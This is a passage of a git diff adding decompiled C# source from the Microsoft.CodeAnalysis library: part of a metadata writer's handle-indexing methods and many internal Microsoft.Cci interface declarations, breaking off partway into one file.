MetadataTokens.ParameterHandle(_parameterListIndex[methodDef]); + } + + protected override AssemblyReferenceHandle GetOrAddAssemblyReferenceHandle(IAssemblyReference reference) + { + return MetadataTokens.AssemblyReferenceHandle(_assemblyRefIndex.GetOrAdd(reference.Identity)); + } + + protected override IReadOnlyList GetAssemblyRefs() + { + return _assemblyRefIndex.Rows; + } + + protected override ModuleReferenceHandle GetOrAddModuleReferenceHandle(string reference) + { + return MetadataTokens.ModuleReferenceHandle(_moduleRefIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetModuleRefs() + { + return _moduleRefIndex.Rows; + } + + protected override MemberReferenceHandle GetOrAddMemberReferenceHandle(ITypeMemberReference reference) + { + return MetadataTokens.MemberReferenceHandle(_memberRefIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetMemberRefs() + { + return _memberRefIndex.Rows; + } + + protected override MethodSpecificationHandle GetOrAddMethodSpecificationHandle(IGenericMethodInstanceReference reference) + { + return MetadataTokens.MethodSpecificationHandle(_methodSpecIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetMethodSpecs() + { + return _methodSpecIndex.Rows; + } + + protected override bool TryGetTypeReferenceHandle(ITypeReference reference, out TypeReferenceHandle handle) + { + int index; + bool result = _typeRefIndex.TryGetValue(reference, out index); + handle = MetadataTokens.TypeReferenceHandle(index); + return result; + } + + protected override TypeReferenceHandle GetOrAddTypeReferenceHandle(ITypeReference reference) + { + return MetadataTokens.TypeReferenceHandle(_typeRefIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetTypeRefs() + { + return _typeRefIndex.Rows; + } + + protected override TypeSpecificationHandle GetOrAddTypeSpecificationHandle(ITypeReference reference) + { + return MetadataTokens.TypeSpecificationHandle(_typeSpecIndex.GetOrAdd(reference)); + } + + protected override IReadOnlyList GetTypeSpecs() + { + return _typeSpecIndex.Rows; + } + + protected override StandaloneSignatureHandle GetOrAddStandaloneSignatureHandle(BlobHandle blobIndex) + { + return MetadataTokens.StandaloneSignatureHandle(_standAloneSignatureIndex.GetOrAdd(blobIndex)); + } + + protected override IReadOnlyList GetStandaloneSignatureBlobHandles() + { + return _standAloneSignatureIndex.Rows; + } + + protected override ReferenceIndexer CreateReferenceVisitor() + { + return new FullReferenceIndexer(this); + } + + protected override void ReportReferencesToAddedSymbols() + { + } + + protected override void PopulateEventMapTableRows() + { + ITypeDefinition typeDefinition = null; + foreach (IEventDefinition eventDef in GetEventDefs()) + { + if (eventDef.ContainingTypeDefinition != typeDefinition) + { + typeDefinition = eventDef.ContainingTypeDefinition; + metadata.AddEventMap(GetTypeDefinitionHandle(typeDefinition), GetEventDefinitionHandle(eventDef)); + } + } + } + + protected override void PopulatePropertyMapTableRows() + { + ITypeDefinition typeDefinition = null; + foreach (IPropertyDefinition propertyDef in GetPropertyDefs()) + { + if (propertyDef.ContainingTypeDefinition != typeDefinition) + { + typeDefinition = propertyDef.ContainingTypeDefinition; + metadata.AddPropertyMap(GetTypeDefinitionHandle(typeDefinition), GetPropertyDefIndex(propertyDef)); + } + } + } + + protected override void CreateIndicesForNonTypeMembers(ITypeDefinition typeDef) + { + _typeDefs.Add(typeDef); + IEnumerable consolidatedTypeParameters = GetConsolidatedTypeParameters(typeDef); + if (consolidatedTypeParameters != null) + { + foreach (IGenericTypeParameter item in consolidatedTypeParameters) + { + _genericParameters.Add(item); + } + } + foreach (MethodImplementation explicitImplementationOverride in typeDef.GetExplicitImplementationOverrides(Context)) + { + methodImplList.Add(explicitImplementationOverride); + } + foreach (IEventDefinition @event in typeDef.GetEvents(Context)) + { + _eventDefs.Add(@event); + } + _fieldDefIndex.Add(typeDef, _fieldDefs.NextRowId); + foreach (IFieldDefinition field in typeDef.GetFields(Context)) + { + _fieldDefs.Add(field); + } + _methodDefIndex.Add(typeDef, _methodDefs.NextRowId); + foreach (IMethodDefinition method in typeDef.GetMethods(Context)) + { + CreateIndicesFor(method); + _methodDefs.Add(method); + } + foreach (IPropertyDefinition property in typeDef.GetProperties(Context)) + { + _propertyDefs.Add(property); + } + } + + private void CreateIndicesFor(IMethodDefinition methodDef) + { + _parameterListIndex.Add(methodDef, _parameterDefs.NextRowId); + ImmutableArray.Enumerator enumerator = GetParametersToEmit(methodDef).GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterDefinition current = enumerator.Current; + _parameterDefs.Add(current); + } + if (methodDef.GenericParameterCount <= 0) + { + return; + } + foreach (IGenericMethodParameter genericParameter in methodDef.GenericParameters) + { + _genericParameters.Add(genericParameter); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IArrayTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IArrayTypeReference.cs new file mode 100644 index 0000000..e7d2967 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IArrayTypeReference.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IArrayTypeReference : ITypeReference, IReference +{ + bool IsSZArray { get; } + + ImmutableArray LowerBounds { get; } + + int Rank { get; } + + ImmutableArray Sizes { get; } + + ITypeReference GetElementType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IAssemblyReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IAssemblyReference.cs new file mode 100644 index 0000000..1b4f6e3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IAssemblyReference.cs @@ -0,0 +1,11 @@ +using System; +using Microsoft.CodeAnalysis; + +namespace Microsoft.Cci; + +internal interface IAssemblyReference : IModuleReference, IUnitReference, IReference, INamedEntity +{ + AssemblyIdentity Identity { get; } + + Version? AssemblyVersionPattern { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IContextualNamedEntity.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IContextualNamedEntity.cs new file mode 100644 index 0000000..ed52c80 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IContextualNamedEntity.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IContextualNamedEntity : INamedEntity +{ + void AssociateWithMetadataWriter(MetadataWriter metadataWriter); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ICustomAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ICustomAttribute.cs new file mode 100644 index 0000000..dee0bb2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ICustomAttribute.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ICustomAttribute +{ + int ArgumentCount { get; } + + ushort NamedArgumentCount { get; } + + bool AllowMultiple { get; } + + ImmutableArray GetArguments(EmitContext context); + + IMethodReference Constructor(EmitContext context, bool reportDiagnostics); + + ImmutableArray GetNamedArguments(EmitContext context); + + ITypeReference GetType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ICustomModifier.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ICustomModifier.cs new file mode 100644 index 0000000..170e19b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ICustomModifier.cs @@ -0,0 +1,10 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ICustomModifier +{ + bool IsOptional { get; } + + ITypeReference GetModifier(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IDefinition.cs new file mode 100644 index 0000000..fde1be8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IDefinition.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface IDefinition : IReference +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IEventDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IEventDefinition.cs new file mode 100644 index 0000000..5bda76a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IEventDefinition.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IEventDefinition : ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + IMethodReference Adder { get; } + + IMethodReference? Caller { get; } + + bool IsRuntimeSpecial { get; } + + bool IsSpecialName { get; } + + IMethodReference Remover { get; } + + IEnumerable GetAccessors(EmitContext context); + + ITypeReference GetType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFieldDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFieldDefinition.cs new file mode 100644 index 0000000..784f957 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFieldDefinition.cs @@ -0,0 +1,32 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IFieldDefinition : ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IFieldReference +{ + ImmutableArray MappedData { get; } + + bool IsCompileTimeConstant { get; } + + bool IsMarshalledExplicitly { get; } + + bool IsNotSerialized { get; } + + bool IsReadOnly { get; } + + bool IsRuntimeSpecial { get; } + + bool IsSpecialName { get; } + + bool IsStatic { get; } + + IMarshallingInformation? MarshallingInformation { get; } + + ImmutableArray MarshallingDescriptor { get; } + + int Offset { get; } + + MetadataConstant? GetCompileTimeValue(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFieldReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFieldReference.cs new file mode 100644 index 0000000..4914c41 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFieldReference.cs @@ -0,0 +1,19 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IFieldReference : ITypeMemberReference, IReference, INamedEntity +{ + ImmutableArray RefCustomModifiers { get; } + + bool IsByReference { get; } + + ISpecializedFieldReference? AsSpecializedFieldReference { get; } + + bool IsContextualNamedEntity { get; } + + ITypeReference GetType(EmitContext context); + + IFieldDefinition? GetResolvedField(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFileReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFileReference.cs new file mode 100644 index 0000000..1026545 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFileReference.cs @@ -0,0 +1,13 @@ +using System.Collections.Immutable; +using System.Reflection; + +namespace Microsoft.Cci; + +internal interface IFileReference +{ + bool HasMetadata { get; } + + string? FileName { get; } + + ImmutableArray GetHashValue(AssemblyHashAlgorithm algorithmId); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFunctionPointerTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFunctionPointerTypeReference.cs new file mode 100644 index 0000000..defb425 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IFunctionPointerTypeReference.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IFunctionPointerTypeReference : ITypeReference, IReference +{ + ISignature Signature { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodInstanceReference.cs new file mode 100644 index 0000000..861db98 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodInstanceReference.cs @@ -0,0 +1,11 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IGenericMethodInstanceReference : IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + IEnumerable GetGenericArguments(EmitContext context); + + IMethodReference GetGenericMethod(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodParameter.cs new file mode 100644 index 0000000..ca3a7ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodParameter.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IGenericMethodParameter : IGenericParameter, IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry, IGenericMethodParameterReference +{ + new IMethodDefinition DefiningMethod { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodParameterReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodParameterReference.cs new file mode 100644 index 0000000..ae55111 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericMethodParameterReference.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IGenericMethodParameterReference : IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry +{ + IMethodReference DefiningMethod { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericParameter.cs new file mode 100644 index 0000000..50213b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericParameter.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IGenericParameter : IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry +{ + bool MustBeReferenceType { get; } + + bool MustBeValueType { get; } + + bool MustHaveDefaultConstructor { get; } + + TypeParameterVariance Variance { get; } + + IGenericMethodParameter? AsGenericMethodParameter { get; } + + IGenericTypeParameter? AsGenericTypeParameter { get; } + + IEnumerable GetConstraints(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericParameterReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericParameterReference.cs new file mode 100644 index 0000000..78bd92f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericParameterReference.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface IGenericParameterReference : ITypeReference, IReference, INamedEntity, IParameterListEntry +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeInstanceReference.cs new file mode 100644 index 0000000..8d9e96a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeInstanceReference.cs @@ -0,0 +1,11 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IGenericTypeInstanceReference : ITypeReference, IReference +{ + ImmutableArray GetGenericArguments(EmitContext context); + + INamedTypeReference GetGenericType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeParameter.cs new file mode 100644 index 0000000..dde7a81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeParameter.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IGenericTypeParameter : IGenericParameter, IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry, IGenericTypeParameterReference +{ + new ITypeDefinition DefiningType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeParameterReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeParameterReference.cs new file mode 100644 index 0000000..17d2162 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGenericTypeParameterReference.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IGenericTypeParameterReference : IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry +{ + ITypeReference DefiningType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGlobalFieldDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGlobalFieldDefinition.cs new file mode 100644 index 0000000..13a6d10 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGlobalFieldDefinition.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface IGlobalFieldDefinition : IFieldDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IFieldReference +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGlobalMethodDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGlobalMethodDefinition.cs new file mode 100644 index 0000000..a2be45f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IGlobalMethodDefinition.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IGlobalMethodDefinition : IMethodDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IMethodReference, ISignature +{ + new string Name { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IImportScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IImportScope.cs new file mode 100644 index 0000000..addaae3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IImportScope.cs @@ -0,0 +1,11 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IImportScope +{ + IImportScope Parent { get; } + + ImmutableArray GetUsedNamespaces(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ILocalDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ILocalDefinition.cs new file mode 100644 index 0000000..208e9e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ILocalDefinition.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.Cci; + +internal interface ILocalDefinition : INamedEntity +{ + MetadataConstant CompileTimeValue { get; } + + ImmutableArray CustomModifiers { get; } + + bool IsPinned { get; } + + bool IsReference { get; } + + LocalSlotConstraints Constraints { get; } + + LocalVariableAttributes PdbAttributes { get; } + + ImmutableArray DynamicTransformFlags { get; } + + ImmutableArray TupleElementNames { get; } + + ITypeReference Type { get; } + + Location Location { get; } + + int SlotIndex { get; } + + byte[]? Signature { get; } + + LocalSlotDebugInfo SlotInfo { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMarshallingInformation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMarshallingInformation.cs new file mode 100644 index 0000000..7197ef3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMarshallingInformation.cs @@ -0,0 +1,25 @@ +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IMarshallingInformation +{ + string CustomMarshallerRuntimeArgument { get; } + + UnmanagedType ElementType { get; } + + int IidParameterIndex { get; } + + UnmanagedType UnmanagedType { get; } + + int NumberOfElements { get; } + + short ParamIndex { get; } + + VarEnum SafeArrayElementSubtype { get; } + + object GetCustomMarshaller(EmitContext context); + + ITypeReference GetSafeArrayElementUserDefinedSubtype(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMetadataExpression.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMetadataExpression.cs new file mode 100644 index 0000000..1798ea4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMetadataExpression.cs @@ -0,0 +1,8 @@ +namespace Microsoft.Cci; + +internal interface IMetadataExpression +{ + ITypeReference Type { get; } + + void Dispatch(MetadataVisitor visitor); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMetadataNamedArgument.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMetadataNamedArgument.cs new file mode 100644 index 0000000..885e43c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMetadataNamedArgument.cs @@ -0,0 +1,10 @@ +namespace Microsoft.Cci; + +internal interface IMetadataNamedArgument : IMetadataExpression +{ + string ArgumentName { get; } + + IMetadataExpression ArgumentValue { get; } + + bool IsField { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodBody.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodBody.cs new file mode 100644 index 0000000..30a3b92 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodBody.cs @@ -0,0 +1,53 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IMethodBody +{ + ImmutableArray ExceptionRegions { get; } + + bool AreLocalsZeroed { get; } + + bool HasStackalloc { get; } + + ImmutableArray LocalVariables { get; } + + IMethodDefinition MethodDefinition { get; } + + StateMachineMoveNextBodyDebugInfo MoveNextBodyInfo { get; } + + ushort MaxStack { get; } + + ImmutableArray IL { get; } + + ImmutableArray SequencePoints { get; } + + bool HasDynamicLocalVariables { get; } + + ImmutableArray LocalScopes { get; } + + IImportScope ImportScope { get; } + + DebugId MethodId { get; } + + ImmutableArray StateMachineHoistedLocalScopes { get; } + + string StateMachineTypeName { get; } + + ImmutableArray StateMachineHoistedLocalSlots { get; } + + ImmutableArray StateMachineAwaiterSlots { get; } + + ImmutableArray ClosureDebugInfo { get; } + + ImmutableArray LambdaDebugInfo { get; } + + StateMachineStatesDebugInfo StateMachineStatesDebugInfo { get; } + + ImmutableArray CodeCoverageSpans { get; } + + bool IsPrimaryConstructor { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodDefinition.cs new file mode 100644 index 0000000..722ce06 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodDefinition.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IMethodDefinition : ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IMethodReference, ISignature +{ + IEnumerable GenericParameters { get; } + + bool HasDeclarativeSecurity { get; } + + bool IsAbstract { get; } + + bool IsAccessCheckedOnOverride { get; } + + bool IsConstructor { get; } + + bool IsExternal { get; } + + bool IsHiddenBySignature { get; } + + bool IsNewSlot { get; } + + bool IsPlatformInvoke { get; } + + bool IsRuntimeSpecial { get; } + + bool IsSealed { get; } + + bool IsSpecialName { get; } + + bool IsStatic { get; } + + bool IsVirtual { get; } + + ImmutableArray Parameters { get; } + + IPlatformInvokeInformation PlatformInvokeData { get; } + + bool RequiresSecurityObject { get; } + + bool ReturnValueIsMarshalledExplicitly { get; } + + IMarshallingInformation ReturnValueMarshallingInformation { get; } + + ImmutableArray ReturnValueMarshallingDescriptor { get; } + + IEnumerable SecurityAttributes { get; } + + INamespace ContainingNamespace { get; } + + IMethodBody GetBody(EmitContext context); + + MethodImplAttributes GetImplementationAttributes(EmitContext context); + + IEnumerable GetReturnValueAttributes(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodReference.cs new file mode 100644 index 0000000..8f3040c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IMethodReference.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IMethodReference : ISignature, ITypeMemberReference, IReference, INamedEntity +{ + bool AcceptsExtraArguments { get; } + + ushort GenericParameterCount { get; } + + bool IsGeneric { get; } + + ImmutableArray ExtraParameters { get; } + + IGenericMethodInstanceReference? AsGenericMethodInstanceReference { get; } + + ISpecializedMethodReference? AsSpecializedMethodReference { get; } + + IMethodDefinition? GetResolvedMethod(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IModifiedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IModifiedTypeReference.cs new file mode 100644 index 0000000..50fd9d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IModifiedTypeReference.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.Cci; + +internal interface IModifiedTypeReference : ITypeReference, IReference +{ + ImmutableArray CustomModifiers { get; } + + ITypeReference UnmodifiedType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IModuleReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IModuleReference.cs new file mode 100644 index 0000000..302ba5a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IModuleReference.cs @@ -0,0 +1,8 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IModuleReference : IUnitReference, IReference, INamedEntity +{ + IAssemblyReference GetContainingAssembly(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedEntity.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedEntity.cs new file mode 100644 index 0000000..4bc9575 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedEntity.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface INamedEntity +{ + string? Name { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedTypeDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedTypeDefinition.cs new file mode 100644 index 0000000..f82b017 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedTypeDefinition.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface INamedTypeDefinition : ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedTypeReference.cs new file mode 100644 index 0000000..c490c2e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamedTypeReference.cs @@ -0,0 +1,10 @@ +namespace Microsoft.Cci; + +internal interface INamedTypeReference : ITypeReference, IReference, INamedEntity +{ + ushort GenericParameterCount { get; } + + bool MangleName { get; } + + string? AssociatedFileIdentifier { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespace.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespace.cs new file mode 100644 index 0000000..652a0b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespace.cs @@ -0,0 +1,10 @@ +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.Cci; + +internal interface INamespace : INamedEntity +{ + INamespace ContainingNamespace { get; } + + INamespaceSymbolInternal GetInternalSymbol(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespaceTypeDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespaceTypeDefinition.cs new file mode 100644 index 0000000..ddc1ede --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespaceTypeDefinition.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface INamespaceTypeDefinition : INamedTypeDefinition, ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity, INamespaceTypeReference +{ + bool IsPublic { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespaceTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespaceTypeReference.cs new file mode 100644 index 0000000..dd73a85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INamespaceTypeReference.cs @@ -0,0 +1,10 @@ +using Microsoft.CodeAnalysis.Emit; + 